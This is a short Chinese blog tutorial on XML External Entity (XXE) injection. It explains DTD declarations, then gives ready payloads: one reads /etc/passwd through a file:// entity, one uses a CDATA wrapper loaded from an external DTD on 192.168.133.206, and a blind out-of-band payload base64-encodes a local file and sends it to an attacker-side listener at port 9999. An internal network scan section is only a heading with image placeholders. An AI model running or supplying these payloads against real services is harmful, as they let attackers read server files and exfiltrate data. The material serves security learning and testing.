XXE

作者: __周__ | 来源:发表于2020-05-29 09:05 被阅读0次

    https://www.cnblogs.com/zhaijiahui/p/9147595.html

    DOCTYPE(DTD的声明)
    ENTITY(实体的声明)
    SYSTEM、PUBLIC(外部资源申请)
    
    1.内部声明DTD:
    <!DOCTYPE 根元素 [元素声明]>
    2.引用外部DTD:
    <!DOCTYPE 根元素 SYSTEM "文件名">
    3.内外部DTD文档结合:
    <!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
    

    敏感文件读取

    图片.png
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE r [
    <!ENTITY admin SYSTEM "file:///etc/passwd">
    #<!ENTITY admin SYSTEM "file:///c:/hello.txt">
    ]>
    <root><name>&admin;</name><password>password</password></root>
    
    当读取的目标文件内容有&,<,>时,解析器会把内容进行解析从而报错

    有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者
    " 字符,CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE z [
    <!ENTITY % start "<![CDATA[">   
    <!ENTITY % a SYSTEM "file:///c:/hello.txt">  
    <!ENTITY % b "]]>">  
    <!ENTITY % c SYSTEM "http://192.168.133.206/xxe_evil.dtd"> 
    %c; ]> 
    <user><username>&xxe;</username><password>admin</password></user>
    
    
    evil.dtd
    
    <?xml version="1.0" encoding="UTF-8"?> 
    <!ENTITY xxe "%start;%a;%b;">
    

    Blind OOB XXE 无回显读取敏感文件

    payload

    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE z [
    <!ENTITY % all SYSTEM "http://192.168.133.206/xxe_oob.dtd">
    %all;%int;%send;
    ]>
    

    其中的xxe_oob.dtd内容是:

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/hello.txt">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.133.206:9999?p=%file;'>">
    
    图片.png 图片.png

    内网扫描

    图片.png

    相关文章

      网友评论

          本文标题:XXE

          本文链接:https://www.haomeiwen.com/subject/etenkctx.html